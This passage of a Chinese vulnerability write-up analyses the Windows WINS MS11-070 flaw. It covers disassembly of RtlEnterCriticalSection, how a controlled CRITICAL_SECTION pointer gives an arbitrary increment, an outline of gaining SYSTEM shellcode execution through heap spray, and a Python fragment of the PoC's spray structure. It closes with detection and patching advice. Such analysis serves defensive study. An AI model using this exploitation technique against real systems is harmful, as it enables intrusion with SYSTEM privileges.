我们看下 RtlEnterCriticalSection 函数的定义，其传入一个 CRITICAL_SECTION 结构体的指针，这个指针，我们可以控制。

```
0:015> u ntdll!RtlEnterCriticalSection 150
ntdll!RtlEnterCriticalSection:
7c94a360 8bff                   mov          edi,edi
7c94a362 55                       push         ebp
7c94a363 8bec                   mov          ebp,esp
7c94a365 51                       push         ecx
7c94a366 8b5508                 mov          edx,dword ptr [ebp
+8]//得到第一个参数
7c94a369 56                       push         esi
7c94a36a 8d7204                 lea          esi,[edx+4]//得到
LockCount 的值
7c94a36d 57                       push         edi//
7c94a36e 8975fc                 mov          dword ptr [ebp-
4],esi//将 LockCount 的值保存到临时变量中。
7c94a371 b800000000           mov          eax,0
7c94a376 8b4dfc                 mov          ecx,dword ptr [ebp
-4]//得到其值
7c94a379 f00fb301               lock btr dword ptr [ecx],eax
//LOCK 指令是锁总线，用于多处理器的情况。BTS 是 X86 的 test-and-set 操
作。BTR 是 X86 的 test-and-reset 操作
7c94a37d 0f92c0                 setb         al
7c94a380 84c0                     test         al,al
7c94a382 0f840e0d0100       je           ntdll!RtlEnterCriticalSec
tion+0x28 (7c95b096)
//这里会跳到
call        _RtlpWaitOnCriticalSection@8 ; RtlpWaitOnCriticalSectio
n(x,x)函数的地方
/*
.text:7C95B096 loc_7C95B096:
                ; CODE XREF: RtlEnterCriticalSection(x)+22j
.text:7C95B096                                  mov          eax, la
rge fs:18h//得到当前线程的 teb 地址
.text:7C95B09C                                  mov          ecx, [e
dx+0Ch]//这个值是 OwningThread
```

```
.text:7C95B09F                                  cmp          ecx,  [e
ax+24h]//比较线程 ID,是否为当前线程的 ID.不一致则跳转
.text:7C95B0A2                                  jnz          loc_7C96
D3A6
.text:7C95B0A8                                  mov          eax,  [e
dx+8]
.text:7C95B0AB                                  inc          eax
.text:7C95B0AC                                  pop          edi
.text:7C95B0AD                                  mov          [edx+8],
  eax
.text:7C95B0B0                                  xor          eax,  ea
x
.text:7C95B0B2                                  pop          esi
.text:7C95B0B3                                  mov          esp,  eb
p
.text:7C95B0B5                                  pop          ebp
.text:7C95B0B6                                  retn         4
//执行到这里
.text:7C96D262  loc_7C96D262:
              ;  CODE  XREF:  RtlEnterCriticalSection(x)+22F2Cj
.text:7C96D262
                           ;  RtlEnterCriticalSection(x)+22F36j  ...
.text:7C96D262                                  mov          ebx,  [e
dx+14h]//这里得到 SpinCount 的值，多处理器相关的值
.text:7C96D265                                  test         ebx,  ebx
.text:7C96D267                                  ja            loc_7C9
7B1A0  //大于的时候跳转
.text:7C96D26D
.text:7C96D26D  loc_7C96D26D:
              ;  CODE  XREF:  RtlEnterCriticalSection(x)+30E62j
.text:7C96D26D                                  mov          edx,  [e
si]//
.text:7C96D26F                                  test         dl,  1
.text:7C96D272                                  jnz          short  l
oc_7C96D298//
.text:7C96D274
.text:7C96D274  loc_7C96D274:
              ;  CODE  XREF:  RtlEnterCriticalSection(x)+2305Cj
.text:7C96D274                                  mov          edx,  [e
bp+var_4]
.text:7C96D277                                  mov          eax,  [e
bp+arg_0]//得到第一个参数
.text:7C96D27A                                  push         edx//
```

```
.text:7C96D27B                                  push        eax//调用
WaitOnCriticalSection 这个函数
.text:7C96D27C                                  call        _RtlpWait
OnCriticalSection@8  ;  RtlpWaitOnCriticalSection(x,x)
```

最后会执行到如下代码：

```
.text:7C97AF9F  loc_7C97AF9F:
              ;  CODE  XREF:  RtlpWaitOnCriticalSection(x,x)+87j
.text:7C97AF9F                                  xor         eax,  ea
x
.text:7C97AFA1                                  mov         [ebp+var
_10],  eax
.text:7C97AFA4                                  mov         [ebp+var
_8],  eax
.text:7C97AFA7                                  mov         eax,  [e
si]//得到它 debuginfo 的地址
.text:7C97AFA9                                  cmp         eax,  0F
FFFFFFFh
.text:7C97AFAC                                  jz           loc_7C9
6D203
.text:7C97AFB2                                  inc         dword  p
tr  [eax+14h]
//将 ContentionCount 的值加 1,这个地址是由用户来控制的，从而造成攻击。
.text:7C97AFB5                                  jmp         loc_7C96
D203

*/

7c94a388  648b0d18000000    mov         ecx,dword  ptr  fs:[<Unloade
d_evnt.dll>+0x17  (00000018)]
7c94a38f  8b4124                    mov         eax,dword  ptr  [ecx
+24h]
7c94a392  5f                            pop         edi
7c94a393  89420c                    mov         dword  ptr  [edx+0Ch
],eax
7c94a396  c7420801000000    mov         dword  ptr  [edx+8],offset
<Unloaded_evnt.dll>  (00000001)
7c94a39d  33c0                      xor         eax,eax
7c94a39f  5e                          pop         esi
7c94a3a0  8be5                      mov         esp,ebp
7c94a3a2  5d                          pop         ebp
7c94a3a3  c20400                    ret         4
```

5 漏洞的利用

恰好是某个保存着函数返回地址的栈地址或者是某个函数指针，那么通过多次触发**漏洞**。
多次对该地址内存做 dec(或者 inc)，那么就可以将函数的返回地址或者函数指针中保存的函数地址改写为某个值(甚至为 0)，那么随后函数返回或者通过函数指针调用函数时，就会执行攻击者布置在内存中的 shellcode,从而以 SYSTEM 权限来执行 shellcode.
shellcode 可以使用 heapspray 的方式来布局。

poc 亮点的讲解：
heap spray 数据的构造

```
# Struct that is validated by WINS

magic_struct = ""
magic_struct += "a" * 0x0c
magic_struct += struct.pack("I",writeable_address - 0x14)
magic_struct += struct.pack("I",0)
magic_struct += struct.pack("I",4)

magic_struct += "b" *(0x20-len(magic_struct))
magic_struct += struct.pack("I",1)
magic_struct += "c" * (0x2c - len(magic_struct))
magic_struct += struct.pack("I",0x10c00)# a writeable address
magic_struct += "d" * (0x38-len(magic_struct))
magic_struct += struct.pack("I",0)

# Data con la forma de la estructura que triggerea el bug
data = ""
data += magic_struct
data += "B" * (0x4000 - len(data))
data += "filling"
```

我们可以将 shellcode 数据添冲到这里去，然后利用其地址加 1 的**漏洞**，使其跳转到我们的 shellcode 上去。

具体加 1 的这个地址很难找啊。如果大家有什么好的思路，也可以谈谈，看具体如何利用。

---

6 漏洞检测

针对该 poc,如果检测到有上百个 tcp 连接跟 wins 服务的端口建立连接，则报警。

用户应该及时更新补丁 ms11-070

7 补充：

wins 介绍:

wins(windows internet name service)网络服务维护了"NetBIOS(网络基本输入/输出系统)名称到 IP 地址"之间的映射关系，

对于以 NetBIOS 为基础的 TCP/IP 应用程序来说，此映射关系是需要用到的。

NetBIOS 介绍：

NetBIOS(网络基本输入/输出系统,NetWork Basic Input/Output System)，依赖于一种专门的命名规范，在这种命名规范中，

计算机和网络服务被赋予一个 16 字节的名称，称为 NetBIOS 名称。

8 参考：

http://technet.microsoft.com/zh-cn/security/bulletin/ms11-070(微软的安全补丁公告)

http://hi.baidu.com/4b_4b/blog/item/55caca38b3db8a0a90ef39b3.html(这个很详细，我在他基础上补充一些相关的细节)

http://www.exploit-db.com/exploits/17831/(poc 的链接)

http://wenku.baidu.com/view/1ff69025ccbff121dd368354.html(wins 服务的安装和介绍)

http://www.cnblogs.com/dirichlet/archive/2011/03/16/1986251.html(深入理解 CRITICAL_SECTION)